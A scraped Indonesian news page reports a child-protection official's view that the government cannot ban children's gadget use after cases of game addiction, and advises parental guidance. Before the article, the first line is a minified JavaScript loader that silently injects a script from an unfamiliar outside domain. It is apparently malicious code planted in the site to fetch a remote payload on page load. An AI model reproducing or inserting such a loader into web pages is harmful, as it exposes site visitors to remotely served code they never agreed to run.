(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Menyusul ditemukannya ratusan anak di Jawa Barat yang masuk rumah sakit jiwa karena kecanduan game online di telepon seluler, Ketua Komisi Nasional Perlindungan Anak (Komnas PA) Arist Sirait Merdeka mengatakan pemerintah tidak bisa membuat larangan terkait penggunaan gadget untuk anak, karena itu masuk ranah pribadi.
“Nggak bisa aturan itu dibuat, karena itu sudah masuk ke wilayah privasi atau rumah,” terang Arist saat dihubungi suara.com beberapa waktu lalu.
Selain ranah pribadi, arus globalisasi informasi saat ini sangat sulit dibendung mengingat internet dan teknologi sudah menjadi gaya hidup sehari-hari masyarakat dunia, termasuk Indonesia. Apabila dibatasi atau dibentuk larangan, maka dikhawatirkan kualitas sumber daya manusia (SDM) Indonesia tertinggal, dan sulit bersaing lalu menjadi negara terbelakang.
“Kita akan terus hadapi teknologi yang terus berubah. Mulai dari saat ini ada IG (Instagram), Facebook, ada video call, ada juga voice call, itu tidak bisa dihambat karena itu sudah tren dunia,” ungkap Arist.
Baca Juga:
PKL Subuh Gelar Lapak di Lahan Pribadi, Pemilik Protes ke Petugas Gabungan Penutupan Pasar
Maka untuk melindungi anak dari gangguan mental akibat paparan game online atau penggunaan gadget, orangtua dan keluarga harus jadi benteng utama.
“Yang perlu pemberdayaan orangtua, walaupun sekarang ini banyak gunakan handphone karena virus corona,” katanya.
“Itu kembali kepada rumah dan orangtua, bagaimana mendidik anak untuk gunakan gadget secara cerdas dan cermat,” sambungnya.
Orangtua berperan besar membatasi akses internet anak, mengatur waktu pemakaian gadget, hingga memantau konten yang ditonton dan didengar anak saat di rumah. Termasuk juga orangtua perlu menyediakan waktu luang untuk berkegiatan bersama anak, sehingga anak bisa menemukan kegiatan lain atau pengalih aktivitas sehingga ia tidak terus-terusan bermain gadget.
Aktivitas fisik seperti berolahraga, bermain di luar ruangan, atau melakukan permainan fisik yang mengasah otak dan saraf motorik anak, sehingga tidak terus berdiam diri terpaku pada gadget.
Baca Juga:
BREAKING NEWS. Pemilik Lahan Protes, PKL Subuh Dibubarkan
“Bukan larangan, tapi membangun kesadaran, dampaknya seperti apa, handphone bagaimana, itu dikuatkan, jadi penguatan keluarga,” pungkas Arist. (suara.com)
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.